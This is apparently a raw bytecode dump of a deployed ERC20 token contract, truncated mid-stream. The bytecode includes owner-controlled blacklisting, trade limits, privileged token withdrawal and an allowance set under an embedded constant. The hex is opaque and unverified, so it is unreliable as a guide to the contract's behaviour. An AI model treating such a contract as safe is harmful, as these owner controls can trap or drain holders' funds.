602d541562002268576200226862002bdb565b62002274878662002c29565b91505b6200228287620022ea565b620022a7565b62002294868662002c3e565b602d5415620022a757620022a762002bdb565b620022bf8787620022b98589620040b7565b62002d1d565b6000602954118015620022d0575080155b15620022e057620022e062002df4565b50505b5050505050565b6001600160a01b0381163b15620022fe5750565b6001600160a01b03811660009081526013602052604090205460ff1615620023235750565b6001600160a01b03811660009081526012602052604090205460ff16620016fb576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620012f55b6009546001600160a01b03163314620012f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001144565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831660009081526020819052604090205481811015620024d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001144565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062002591576200259162003edc565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110620025c857620025c862003edc565b6001600160a01b039092166020928302919091018201528151620025f3916007919084019062003899565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562002681573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022e3919062004054565b6001600160a01b038216620026ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001144565b806002600082825462002713919062003f24565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600d5460ff1615620011ca57600e5415620027d357600e54811115620027d35760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001144565b620011ca828262002c3e565b600060305460001480620027f35750603154155b156200280257506000620010cf565b603054600b5462002814919062003f24565b4310156200287d576000601d5460315484620028319190620040cd565b6200283d919062004094565b602f54909150620028659086906001600160a01b03166200285f8487620040b7565b6200245d565b620028728585836200245d565b6001915050620010cf565b5060009392505050565b6000601d54602b54836200289c9190620040cd565b620028a8919062004094565b90506200106d8330836200245d565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200290e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002934919062004074565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200298c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029b2919062004074565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801562002a0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a31919062004104565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a92573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002ab8919062003f3a565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b2f919062003f3a565b9050306001600160a01b0387160362002b5d576103e862002b518483620040b7565b11965050505050505090565b6103e862002b518584620040b7565b600d5460ff16801562002b8157506000600f54115b15620016fb57600f54811115620016fb5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001144565b603354600160a01b900460ff161562002bf057565b30600090815260208190526040902054602e548110620016fb576000601e548262002c1c919062004094565b9050620011ca816200304b565b6000601d54602c54836200289c9190620040cd565b600d5460ff1615620011ca5760105415620011ca576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c9b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002cc1919062003f3a565b62002ccd908362003f24565b1115620011ca5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001144565b6001600160a01b03831662002d835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001144565b6001600160a01b03821662002de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001144565b6200134b8383836200245d565b43601854601b5462002e07919062003f24565b111562002e1057565b601754479081101562002e205750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e91919062003f3a565b601154909150600090819081908180805a90505b6019548310801562002eb657508382105b156200303c5783601a541062002ed1576000601a556200303c565b6011601a548154811062002ee95762002ee962003edc565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002ff1576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f8a919062003f3a565b9550601654861062002ff1578762002fa3878b620040cd565b62002faf919062004094565b9450841562002ff1576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fef573d6000803e3d6000fd5b505b5a62002ffe9082620040b7565b6200300a908462003f24565b92505a601a80549192506000620030218362003f08565b91905055508180620030339062003f08565b92505062002ea5565b505043601b5550505050505050565b6033805460ff60a01b1916600160a01b179055602a54600090156200309857601d54602a546200307c9084620040cd565b62003088919062004094565b905062003098306001836200245d565b60285460009015620030e557601d54602854620030b69085620040cd565b620030c2919062004094565b603254603354919250620030e59183916001600160a01b039081169116620033ba565b600081620030f48486620040b7565b620031009190620040b7565b9050600060275411806200311657506000602954115b8015620031235750600081115b15620033a757603354620031429082906001600160a01b031662003734565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa15801562003194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620031ba919062003f3a565b905060008060275411156200328157602954602754620031db919062003f24565b602754620031ea9084620040cd565b620031f6919062004094565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801562003259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200327f919062004054565b505b80821115620033a4576008546033546001600160a01b03918216916323b872dd911630620032b08587620040b7565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562003305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200332b919062004054565b506008546040516370a0823160e01b8152306004820152620033a4916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200339e919062003f3a565b620037a0565b50505b50506033805460ff60a01b191690555050565b6000620033c960028562004094565b905060006007600181548110620033e457620033e462003edc565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa1580156200343a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003460919062003f3a565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d795906200349d9086906000906007908a9042906004016200414f565b600060405180830381600087803b158015620034b857600080fd5b505af1158015620034cd573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa1580156200351b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003541919062003f3a565b90506000620035518383620040b7565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af1158015620035ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035d1919062004054565b50600081118015620035ee57506000620035ec868a620040b7565b115b156200372a57600654600780546001600160a01b039092169163e8e33700919060009062003620576200362062003edc565b600091825260209091200154600780546001600160a01b0390921691600190811062003650576200365062003edc565b6000918252602090912001546001600160a01b031662003671898d620040b7565b856000808e6200368342600962003f24565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af115801562003700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200372691906200418d565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d7959062003770908590600090600790879042906004016200414f565b600060405180830381600087803b1580156200378b57600080fd5b505af115801562001c80573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b17905251620037f49190620041bc565b6000604051808303816000865af19150503d806000811462003833576040519150601f19603f3d011682016040523d82523d6000602084013e62003838565b606091505b5050905080620011ca5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001144565b61014780620041db83390190565b828054828255906000526020600020908101928215620038f1579160200282015b82811115620038f157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620038ba565b50620038ff92915062003903565b5090565b5b80821115620038ff576000815560010162003904565b60005b83811015620039375781810151838201526020016200391d565b50506000910152565b6020815260008251806020840152620039618160408501602087016200391a565b601f01601f19169190910160400192915050565b6001600160a01b0381168114620016fb57600080fd5b600080604083850312156200399f57600080fd5b8235620039ac8162003975565b946020939093013593505050565b600060208284031215620039cd57600080fd5b5035919050565b8015158114620016fb57600080fd5b60008060008060808587031215620039fa57600080fd5b843562003a0781620039d4565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003a3757600080fd5b833562003a448162003975565b9250602084013562003a568162003975565b929592945050506040919091013590565b60008060006060848603121562003a7d57600080fd5b8335925060208401359150604084013562003a988162003975565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003ae55762003ae562003aa3565b604052919050565b600067ffffffffffffffff82111562003b0a5762003b0a62003aa3565b5060051b60200190565b600082601f83011262003b2657600080fd5b8135602062003b3f62003b398362003aed565b62003ab9565b82815260059290921b8401810191818101908684111562003b5f57600080fd5b8286015b8481101562003b8757803562003b798162003975565b835291830191830162003b63565b509695505050505050565b60006020828403121562003ba557600080fd5b813567ffffffffffffffff81111562003bbd57600080fd5b62003bcb8482850162003b14565b949350505050565b60006020828403121562003be657600080fd5b8135620010cf8162003975565b6000806040838503121562003c0757600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003c595783516001600160a01b03168352928401929184019160010162003c32565b50909695505050505050565b6000806040838503121562003c7957600080fd5b823567ffffffffffffffff81111562003c9157600080fd5b62003c9f8582860162003b14565b925050602083013562003cb281620039d4565b809150509250929050565b6000806040838503121562003cd157600080fd5b823562003cde8162003975565b9150602083013562003cb281620039d4565b6000806040838503121562003d0457600080fd5b823562003d118162003975565b9150602083013562003cb28162003975565b6000806000806080858703121562003d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003d6a57600080fd5b82359150602083013567ffffffffffffffff81111562003d8957600080fd5b62003d978582860162003b14565b9150509250929050565b6000806040838503121562003db557600080fd5b823567ffffffffffffffff8082111562003dce57600080fd5b818501915085601f83011262003de357600080fd5b8135602062003df662003b398362003aed565b82815260059290921b8401810191818101908984111562003e1657600080fd5b948201945b8386101562003e365785358252948201949082019062003e1b565b9650508601359250508082111562003e4d57600080fd5b5062003d978582860162003b14565b600181811c9082168062003e7157607f821691505b60208210810362003e9257634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003f1d5762003f1d62003ef2565b5060010190565b808201808211156200106d576200106d62003ef2565b60006020828403121562003f4d57600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b8381101562003f945781546001600160a01b03168752958201956001918201910162003f6d565b509495945050505050565b82815260406020820152600062003bcb604083018462003f54565b6000602080838503121562003fce57600080fd5b825167ffffffffffffffff81111562003fe657600080fd5b8301601f8101851362003ff857600080fd5b80516200400962003b398262003aed565b81815260059190911b820183019083810190878311156200402957600080fd5b928401925b8284101562004049578351825292840192908401906200402e565b979650505050505050565b6000602082840312156200406757600080fd5b8151620010cf81620039d4565b6000602082840312156200408757600080fd5b8151620010cf8162003975565b600082620040b257634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200106d576200106d62003ef2565b80820281158282048414176200106d576200106d62003ef2565b80516001600160701b0381168114620040ff57600080fd5b919050565b6000806000606084860312156200411a57600080fd5b6200412584620040e7565b92506200413560208501620040e7565b9150604084015163ffffffff8116811462003a9857600080fd5b85815284602082015260a0604082015260006200417060a083018662003f54565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215620041a357600080fd5b8351925060208401519150604084015190509250925092565b60008251620041d08184602087016200391a565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea2646970667358221220a372dd9e66d62957bc8b388615a76df1758e8c76b9dd829a23f84edef114d58b64736f6c63430008110033a2646970667358221220c3047f98ceb559a71a205f45f6b4690b598b64c6becac051c5ab18b776dbb19964736f6c63430008110033608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea2646970667358221220a372dd9e66d62957bc8b388615a76df1758e8c76b9dd829a23f84edef114d58b64736f6c634300081100334e6f4566666563743a2063616c6c6572206973206e6f74207468652065666665

Deployed Bytecode

0x608060405260043610620005075760003560e01c80638f5299121162000293578063c1e9afa2116200015f578063ec4dbb3011620000d1578063f7a46ec51162000090578063f7a46ec51462000f09578063f887ea401462000f21578063faee3dd41462000f43578063fdef69491462000f5b578063fe98e00c1462000f73578063fefe84fd1462000f9857600080fd5b8063ec4dbb301462000e6a578063f0a7c6d81462000e8f578063f2fde38b1462000ea7578063f3f48fdc1462000ecc578063f4a3ff3d1462000ee457600080fd5b8063d36e8239116200011e578063d36e82391462000dc9578063d4d7b19a1462000de1578063d8d3d4471462000e15578063dd54ef6e1462000e2d578063dd62ed3e1462000e4557600080fd5b8063c1e9afa21462000d1e578063c54e44eb1462000d36578063c8a528941462000d58578063c9567bf91462000d7d578063ca0277761462000d9557600080fd5b8063a8aa1b311162000205578063b6d6303011620001c4578063b6d630301462000c6a578063b90922b81462000c8c578063b9f8d0d71462000ca4578063ba033c111462000cc9578063bcc100f11462000ce1578063bdf7a8e61462000cf957600080fd5b8063a8aa1b311462000bc1578063a9059cbb1462000be3578063ae9163291462000c08578063b572fe341462000c2d578063b66e49c71462000c5257600080fd5b80639c27242b11620002525780639c27242b1462000b255780639d6109f81462000b3d5780639ffecfb71462000b55578063a21f31101462000b7a578063a457c2d71462000b9c57600080fd5b80638f5299121462000a8657806395d89b411462000a9e578063961d3cd31462000ab6578063996d03091462000adb57806399f7d6731462000b0057600080fd5b80633812e91411620003d35780635b7b15c311620003455780636e4db58711620003045780636e4db58714620009c257806370a0823114620009e4578063715018a61462000a1e57806373724dd51462000a36578063864e18271462000a4e5780638da5cb5b1462000a6657600080fd5b80635b7b15c314620009215780635fe8e7cc146200094657806360f52141146200096d578063622565891462000985578063673687b7146200099d57600080fd5b80634c7552d611620003925780634c7552d614620008785780634e6b805e146200089a57806353674ba614620008bf57806359102a0714620008e45780635990985814620008fc57600080fd5b80633812e91414620007ce5780633950935114620007e657806339a74c8c146200080b5780633bbac5791462000823578063438d64e1146200086057600080fd5b80632a11ced011620004795780632c20aafa11620004385780632c20aafa146200071c5780632dab693f14620007345780632f8a21bf146200074c578063313ce567146200076657806331c71f4d146200078457806333f96f4614620007a957600080fd5b80632a11ced014620006945780632a29ad3b14620006b95780632a59551214620006d15780632b0e258e14620006e95780632b20fafe146200070157600080fd5b80631a2e207911620004c65780631a2e207914620005df5780632287fcb7146200061a57806323b872dd146200063f578063240d7d71146200066457806326987b60146200067c57600080fd5b806306fdde031462000514578063095ea7b31462000544578063155fc50d146200057a57806316f9a5ec14620005a157806318160ddd14620005c857600080fd5b366200050f57005b600080fd5b3480156200052157600080fd5b506200052c62000fbd565b6040516200053b919062003940565b60405180910390f35b3480156200055157600080fd5b5062000569620005633660046200398b565b62001057565b60405190151581526020016200053b565b3480156200058757600080fd5b506200059260185481565b6040519081526020016200053b565b348015620005ae57600080fd5b50620005c6620005c0366004620039ba565b62001073565b005b348015620005d557600080fd5b5060025462000592565b348015620005ec57600080fd5b5060335462000601906001600160a01b031681565b6040516001600160a01b0390911681526020016200053b565b3480156200062757600080fd5b50620005c662000639366004620039e3565b62001082565b3480156200064c57600080fd5b50620005696200065e36600462003a21565b620010ac565b3480156200067157600080fd5b506200059260205481565b3480156200068957600080fd5b5062000592601a5481565b348015620006a157600080fd5b5062000601620006b3366004620039ba565b620010d6565b348015620006c657600080fd5b506200059260255481565b348015620006de57600080fd5b5062000592601b5481565b348015620006f657600080fd5b506200059260165481565b3480156200070e57600080fd5b50600b546001111562000569565b3480156200072957600080fd5b5062000592601e5481565b3480156200074157600080fd5b506200059260305481565b3480156200075957600080fd5b50600b5460011062000569565b3480156200077357600080fd5b50604051601281526020016200053b565b3480156200079157600080fd5b50620005c6620007a336600462003a67565b62001101565b348015620007b657600080fd5b50620005c6620007c836600462003b92565b62001177565b348015620007db57600080fd5b5062000592602b5481565b348015620007f357600080fd5b5062000569620008053660046200398b565b620011ce565b3480156200081857600080fd5b506200059260245481565b3480156200083057600080fd5b50620005696200084236600462003bd3565b6001600160a01b03166000908152601c602052604090205460ff1690565b3480156200086d57600080fd5b506200059260315481565b3480156200088557600080fd5b5060085462000601906001600160a01b031681565b348015620008a757600080fd5b50620005c6620008b936600462003bf3565b620011f6565b348015620008cc57600080fd5b50620005c6620008de366004620039ba565b6200120b565b348015620008f157600080fd5b5062000592602d5481565b3480156200090957600080fd5b50620005c66200091b366004620039ba565b62001253565b3480156200092e57600080fd5b50620005c662000940366004620039ba565b62001262565b3480156200095357600080fd5b506200095e62001271565b6040516200053b919062003c16565b3480156200097a57600080fd5b506200059260285481565b3480156200099257600080fd5b50620005c6620012d4565b348015620009aa57600080fd5b50620005c6620009bc36600462003c65565b620012f7565b348015620009cf57600080fd5b5060325462000601906001600160a01b031681565b348015620009f157600080fd5b506200059262000a0336600462003bd3565b6001600160a01b031660009081526020819052604090205490565b34801562000a2b57600080fd5b50620005c662001350565b34801562000a4357600080fd5b50620005c662001366565b34801562000a5b57600080fd5b5062000592600b5481565b34801562000a7357600080fd5b506009546001600160a01b031662000601565b34801562000a9357600080fd5b506200059260175481565b34801562000aab57600080fd5b506200052c62001436565b34801562000ac357600080fd5b50620005c662000ad536600462003cbd565b62001447565b34801562000ae857600080fd5b50620005c662000afa36600462003cbd565b6200147c565b34801562000b0d57600080fd5b50620005c662000b1f36600462003cf0565b620014b1565b34801562000b3257600080fd5b5062000592602c5481565b34801562000b4a57600080fd5b50620005c662001568565b34801562000b6257600080fd5b506200059262000b74366004620039ba565b6200158c565b34801562000b8757600080fd5b5060145462000601906001600160a01b031681565b34801562000ba957600080fd5b506200056962000bbb3660046200398b565b6200164a565b34801562000bce57600080fd5b5060055462000601906001600160a01b031681565b34801562000bf057600080fd5b506200056962000c023660046200398b565b620016d6565b34801562000c1557600080fd5b50620005c662000c2736600462003bd3565b620016e6565b34801562000c3a57600080fd5b50620005c662000c4c36600462003cbd565b620016fe565b34801562000c5f57600080fd5b50620005c662001733565b34801562000c7757600080fd5b50602f5462000601906001600160a01b031681565b34801562000c9957600080fd5b506200059260195481565b34801562000cb157600080fd5b50620005c662000cc336600462003d23565b62001744565b34801562000cd657600080fd5b506200059260265481565b34801562000cee57600080fd5b5062000592601f5481565b34801562000d0657600080fd5b50620005c662000d1836600462003d56565b62001772565b34801562000d2b57600080fd5b506200059260215481565b34801562000d4357600080fd5b5060155462000601906001600160a01b031681565b34801562000d6557600080fd5b50620005c662000d7736600462003da1565b620017bd565b34801562000d8a57600080fd5b50620005c662001824565b34801562000da257600080fd5b506200056962000db436600462003bd3565b60136020526000908152604090205460ff1681565b34801562000dd657600080fd5b5062000592602e5481565b34801562000dee57600080fd5b506200056962000e0036600462003bd3565b60126020526000908152604090205460ff1681565b34801562000e2257600080fd5b506200059260275481565b34801562000e3a57600080fd5b506200059260225481565b34801562000e5257600080fd5b506200059262000e6436600462003cf0565b62001834565b34801562000e7757600080fd5b50620005c662000e8936600462003a21565b6200185f565b34801562000e9c57600080fd5b5062000592601d5481565b34801562000eb457600080fd5b50620005c662000ec636600462003bd3565b62001918565b34801562000ed957600080fd5b506200059260295481565b34801562000ef157600080fd5b50620005c662000f0336600462003d23565b62001994565b34801562000f1657600080fd5b50620005c6620019bc565b34801562000f2e57600080fd5b5060065462000601906001600160a01b031681565b34801562000f5057600080fd5b5062000592602a5481565b34801562000f6857600080fd5b506200059260235481565b34801562000f8057600080fd5b50620005c662000f9236600462003c65565b620019cd565b34801562000fa557600080fd5b50620005c662000fb736600462003cf0565b62001a45565b60606003805462000fce9062003e5c565b80601f016020809104026020016040519081016040528092919081815260200182805462000ffc9062003e5c565b80156200104d5780601f1062001021576101008083540402835291602001916200104d565b820191906000526020600020905b8154815290600101906020018083116200102f57829003601f168201915b5050505050905090565b6000336200106781858562001ddb565b60019150505b92915050565b6200107d62001f03565b601855565b6200108c62001f03565b600d805460ff191694151594909417909355600e91909155600f55601055565b600033620010bc85828562001f46565b620010c985858562001fc1565b60019150505b9392505050565b60118181548110620010e757600080fd5b6000918252602090912001546001600160a01b0316905081565b600a546001600160a01b03163314806200112557506009546001600160a01b031633145b6200114d5760405162461bcd60e51b8152600401620011449062003e98565b60405180910390fd5b603192909255603055602f80546001600160a01b0319166001600160a01b03909216919091179055565b6200118162001f03565b60005b8151811015620011ca57620011b5828281518110620011a757620011a762003edc565b6020026020010151620022ea565b80620011c18162003f08565b91505062001184565b5050565b60003362001067818585620011e4838362001834565b620011f0919062003f24565b62001ddb565b6200120062001f03565b601691909155601755565b600a546001600160a01b03163314806200122f57506009546001600160a01b031633145b6200124e5760405162461bcd60e51b8152600401620011449062003e98565b602e55565b6200125d62001f03565b601955565b6200126c620023aa565b600b55565b606060118054806020026020016040519081016040528092919081815260200182805480156200104d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620012ac575050505050905090565b620012de62001f03565b600d5460ff1615620012f557600d805460ff191690555b565b62001301620023af565b60005b82518110156200134b576200133683828151811062001327576200132762003edc565b6020026020010151836200147c565b80620013428162003f08565b91505062001304565b505050565b6200135a620023af565b620012f560006200240b565b602354601f5462001378919062003f24565b6027556024546020546200138d919062003f24565b602855602554602154620013a2919062003f24565b602955602654602254620013b7919062003f24565b602a55602254602154602054601f54620013d2919062003f24565b620013de919062003f24565b620013ea919062003f24565b602b5560265460255460245460235462001405919062003f24565b62001411919062003f24565b6200141d919062003f24565b602c819055602b5462001431919062003f24565b602d55565b60606004805462000fce9062003e5c565b6200145162001f03565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b62001486620023af565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b600a546001600160a01b0316331480620014d557506009546001600160a01b031633145b620014f45760405162461bcd60e51b8152600401620011449062003e98565b6040516370a0823160e01b8152306004820152620011ca90839083906001600160a01b038316906370a0823190602401602060405180830381865afa15801562001542573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e89919062003f3a565b6200157262001f03565b600d5460ff16620012f557600d805460ff19166001179055565b60065460405163d06ca61f60e01b815260009182916001600160a01b039091169063d06ca61f90620015c690869060079060040162003f9f565b600060405180830381865afa158015620015e4573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200160e919081019062003fba565b905060018151111562001641578060018151811062001631576200163162003edc565b6020026020010151915050919050565b50600092915050565b600033816200165a828662001834565b905083811015620016bc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840162001144565b620016cb828686840362001ddb565b506001949350505050565b6000336200106781858562001fc1565b620016f062001f03565b620016fb81620022ea565b50565b6200170862001f03565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6200173d620023aa565b6000600b55565b6200174e620023af565b60238490556024839055602582905560268190556200176c62001366565b50505050565b60005b81518110156200134b57620017a83383838151811062001799576200179962003edc565b6020026020010151856200245d565b80620017b48162003f08565b91505062001775565b60005b81518110156200134b576200180f33838381518110620017e457620017e462003edc565b602002602001015185848151811062001801576200180162003edc565b60200260200101516200245d565b806200181b8162003f08565b915050620017c0565b6200182e620023aa565b43600b55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600a546001600160a01b03163314806200188357506009546001600160a01b031633145b620018a25760405162461bcd60e51b8152600401620011449062003e98565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb906044016020604051808303816000875af1158015620018f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200176c919062004054565b62001922620023af565b6001600160a01b038116620019895760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840162001144565b620016fb816200240b565b6200199e620023af565b601f8490556020839055602182905560228190556200176c62001366565b620019c6620023aa565b6001600b55565b620019d762001f03565b60005b82518110156200134b5781600c6000858481518110620019fe57620019fe62003edc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558062001a3c8162003f08565b915050620019da565b62001a4f62001f03565b601480546001600160a01b039384166001600160a01b03199182161790915560158054929093169116179055565b600680546001600160a01b0319166001600160a01b0384169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa15801562001ada573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b00919062004074565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303816000875af115801562001b51573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001b77919062004074565b600580546001600160a01b0319166001600160a01b0392909216918217905562001ba590839085906200253e565b60085460405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301529091169063095ea7b3906044016020604051808303816000875af115801562001bfa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001c20919062004054565b5062001c30308460001962001ddb565b506005546001600160a01b031692915050565b6200134b600184848462001082565b62001c5e868662001a45565b62001c6a8484620011f6565b62001c758262001073565b62001c808162001253565b505050505050565b612710601d8190556007601e5562001cb39062001ca760648862004094565b620008de919062004094565b603280546001600160a01b0319166001600160a01b03861617905562001cda8386620026a7565b62001ce733600162001447565b62001cf430600162001447565b62001d0184600162001447565b62001d0e83600162001447565b801562001d6d5762001d22306001620016fe565b62001d3060006001620016fe565b62001d3d600180620016fe565b62001d4c61dead6001620016fe565b62001d5784620016e6565b62001d6283620016e6565b62001d6d33620016e6565b62001d7762001366565b8160405162001d86906200388b565b6001600160a01b039091168152602001604051809103906000f08015801562001db3573d6000803e3d6000fd5b50603380546001600160a01b0319166001600160a01b03929092169190911790555050505050565b6001600160a01b03831662001e3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162001144565b6001600160a01b03821662001ea25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162001144565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a546001600160a01b031633148062001f2757506009546001600160a01b031633145b620012f55760405162461bcd60e51b8152600401620011449062003e98565b600062001f54848462001834565b905060001981146200176c578181101562001fb25760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640162001144565b6200176c848484840362001ddb565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200201e5760405162461bcd60e51b815260206004820152600d60248201526c3137ba103337b93134b23232b760991b604482015260640162001144565b6001600160a01b0383166000908152601c6020526040902054839060ff16156200207b5760405162461bcd60e51b81526020600482015